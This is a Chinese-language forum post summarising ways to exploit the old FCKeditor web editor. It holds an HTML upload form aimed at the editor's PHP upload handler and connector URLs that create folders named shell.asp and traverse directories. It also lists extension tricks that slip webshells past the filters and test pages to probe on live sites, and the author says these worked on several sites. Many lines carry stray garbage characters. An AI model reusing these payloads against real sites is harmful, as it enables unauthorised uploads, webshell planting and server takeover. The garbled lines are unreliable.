Fckeditor漏洞利用总结 * S9 ]9 c( l1 d$ j& m3 R! l
查看编辑器版本
4 P9 O. T. g FFCKeditor/_whatsnew.html" U) J& \. m& W
—————————————————————————————————————————————————————————————7 S* i8 f1 S3 y) r4 B
- { {; y$ L9 H2. Version 2.2 版本+ G6 n0 {8 y% e
Apache+linux 环境下在上传文件后面加个.突破！测试通过。
; Q/ ]9 G" r( z+ m# [9 X—————————————————————————————————————————————————————————————
+ z- k6 ~8 z9 k
, w3 R9 F. x3 @' c3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制，导致用户上传任意文件！将以下保存为html文件，修改action地址。
# i4 x- t3 `! F7 i<form id="frmUpload" enctype="multipart/form-data" P5 h; ]; L- M3 j9 z, f. d# R
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>% d( s2 X q& {9 j- K
<input type="file" name="NewFile" size="50"><br>
^- S( y% q; y# ?& @<input id="btnUpload" type="submit" value="Upload">
$ s9 V7 C1 ?; X- A</form>' i7 y& B5 Q! S* E6 y* \0 `( W! O' j/ t
—————————————————————————————————————————————————————————————7 a) }# c8 Y g8 N3 i' U- o& t
# ]# a) \. g `2 ~* x
4.FCKeditor 文件上传“.”变“_”下划线的绕过方法; h+ R* e1 F, m) L/ P8 @
很多时候上传的文件例如：shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。; `6 g0 y8 I+ x$ N8 C
4.1：提交shell.php+空格绕过
- g1 C* c+ }: N2 u* U不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。
' i6 a/ x( u* w* R2 C 4.2：继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹，只检测了第一级的目录，如果跳到二级目录就不受限制。
$ d/ ^% l5 g h# o5 ?* {/ z. U1 ^—————————————————————————————————————————————————————————————3 P/ v# Y; S3 ?# P: s
' x. l2 H5 J1 j' U9 w. s5. 突破建立文件夹. e: j4 L9 X- C' ^3 m
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684& O/ w) u" g$ x4 Q1 b
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
% Y9 k) ?/ F9 `, `3 U! }# o" F0 S2 n—————————————————————————————————————————————————————————————5 U; N3 ~5 h6 P2 C G% ~+ P: M; g
( {! J6 l2 }5 `& b( f6. FCKeditor 中test 文件的上传地址
% J: n: j: A5 O0 S/ y8 uFCKeditor/editor/filemanager/browser/default/connectors/test.html8 J2 f4 r+ H$ D
FCKeditor/editor/filemanager/upload/test.html3 f w8 L. n2 R- H! ^" |/ s0 U9 }0 `+ O
FCKeditor/editor/filemanager/connectors/test.html
) ~6 s& ^/ W( B& Q4 h, EFCKeditor/editor/filemanager/connectors/uploadtest.html
8 k# d3 h3 R$ t% x0 \2 n( M—————————————————————————————————————————————————————————————
, x* T; W! s2 |2 u c) {8 d- l
, i m/ t9 r. h, p1 h+ t7.常用上传地址 R9 ]' x9 P, R# S; D
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
7 u% p! R7 [/ \FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
8 H& D: ^% s6 j1 HFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
0 g, d( m# t3 A5 I- KJSP 版：
' }6 \6 ^5 v" y* g. V7 ?9 \FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp' `' Y& v0 K( ?! C0 |
注意红色部分修改为FCKeditor 实际使用的脚本语言，蓝色部分可以自定义文! J& h& h I: q% s
件夹名称也可以利用../..目录遍历，紫色部分为实际网站地址。7 U, R, k5 |% U3 Z* d
—————————————————————————————————————————————————————————————/ u8 I4 S7 S) B1 T7 d
: I* Q/ A0 K8 m+ y
8.其他上传地址4 y, y+ @8 k; d4 u6 q
FCKeditor/_samples/default.html* A, J! m: w% G. e0 _
FCKeditor/_samples/asp/sample01.asp
4 K! Z+ @- m9 QFCKeditor/_samples/asp/sample02.asp
( @' ~4 N; A( K4 ~( w6 }9 x% qFCKeditor/_samples/asp/sample03.asp
# ?% d4 B1 e! }FCKeditor/_samples/asp/sample04.asp
# ~$ r% |+ L) j. J) C4 s一般很多站点都已删除_samples 目录，可以试试。, W8 W! Y, `9 A* u) _! q/ v! }
FCKeditor/editor/fckeditor.html 不可以上传文件，可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。( p) v" k; z5 z& Y# | d: A7 {
—————————————————————————————————————————————————————————————$ j! r, V6 G" D4 r
. D1 V& H" {9 ]3 I: a2 Q- V6 K0 E
9.列目录漏洞也可助找上传地址6 b& c6 J5 r7 v* C, q! B$ g
Version 2.4.1 测试通过* T l- n- E5 c0 X0 y6 s
修改CurrentFolder 参数使用 ../../来进入不同的目录
2 @7 G! V1 S6 g( I/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp4 K5 H/ w" J" |, m+ h( t" E
根据返回的XML 信息可以查看网站所有的目录。
$ K: b0 L( o3 [' B2 I* D5 kFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F$ D* Z: I2 F( I3 ?
也可以直接浏览盘符：' y0 j+ ^9 J3 a( B# o, n5 k! }
JSP 版本：
+ S. R9 y) x7 i6 YFCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
# |7 Q* m2 I# ~6 a. _' M—————————————————————————————————————————————————————————————; B3 }2 g1 c9 m$ z3 ~
9 h8 D7 z+ N b* I7 H4 W10.爆路径漏洞 @5 x/ M4 V& d" C
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp9 w* ^) `4 q$ u
—————————————————————————————————————————————————————————————8 U, B4 A+ u, t, @2 m
; F- ]8 {, O: o' \
11. FCKeditor 被动限制策略所导致的过滤不严问题
. b, P5 B7 E, d# J h; w% S% h1 b# U, w 影响版本: FCKeditor x.x <= FCKeditor v2.4.3: z: a/ m# `4 \' x6 ~! }& a, H
脆弱描述：
Y- \1 J0 t IFCKeditor v2.4.3 中File 类别默认拒绝上传类型：( c2 G/ ?% n J& _- q$ R7 Z
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm: @7 U A& }4 K
Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName，而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]! M7 \* m; F/ U, F4 g j( E
而在apache 下，因为"Apache 文件名解析缺陷漏洞"也可以利用之，另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码，其限制最为狭隘。, M. W& A* v, W$ ?6 ~, M# F
在上传时遇见可直接上传脚本文件固然很好，但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过，也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!# r3 s$ \4 n. g( N( Q$ Q P& w6 c) @0 w
—————————————————————————————————————————————————————————————
$ ^' l. j; v7 |( K# P" o# @
0 w6 a' I; ]. @9 O$ l, [12.最古老的漏洞，Type文件没有限制！
+ R' ^' Z- p: u5 y$ D 我接触到的第一个fckeditor漏洞了。版本不详，应该很古老了，因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹，一个新类型，没有任何限制，可以上传任意脚本！ Z3 P. B: V+ c! O. S
—————————————————————————————————————————————————————————————& b" C8 Q5 v9 n; M2 }: V* k0 ]
/ [ p$ y0 C. L! c7 K===============================================================================================================================================
2 p/ x0 d! n& g$ ` `3 {3 h0 x. p: I) X
FCK编辑器jsp版本漏洞：
4 n* S1 n! o4 \; t* Z9 u, z4 Z# G1 H9 y0 A3 s1 R
; [$ {4 _1 E" s/ b; Mhttp://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F, ]! k. \5 i6 j/ h' h, t( I
8 R, Z; T/ ?8 F4 O上传马所在目录
8 F& ^6 j( O3 i# UFCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
. D' b, v2 Z7 j% b上传shell的地址:6 v! ?2 H; P1 H# j5 | S- P
http://www.xxx.com/fckeditor/edi ... ctors/jsp/connector
1 N( Y% ~2 v" o! C# H' b跟版本有关系.并不是百分百成功. 测试成功几个站.
. _( f' X" t2 g6 ^不能通杀.很遗憾.7 q$ \& v5 t! D/ f
http://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector
i) n/ O4 s2 ^& T如果以上地址不行可以试试
9 y: [8 v* n6 F+ a1 V' P6 n, JFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector* \4 X! A Y% S
FCKeditor/_samples/
/ x0 t$ M0 V: b" r# kFCKeditor/_samples/default.html
' j, w" I3 H% q: H) DFCKeditor/editor/fckeditor.htm
! N& W: a) D2 e) S- U$ UFCKeditor/editor/fckdialog.html9 o' d5 q3 L- Z5 ~: a; I
( P' a, r$ F/ b! r( \1 D
1 G- V3 g* z' S& V7 _- G% ^5 N! M& z1 h h! d+ R1 ?; O- n/ a# ]
解析漏洞+未重命名文件时上传漏洞 1.asp;jpg
& Y k% i+ S2 ?0 {( z2 Q8 \ |
发表于 2012-9-13 17:01:39
收藏
支持
反对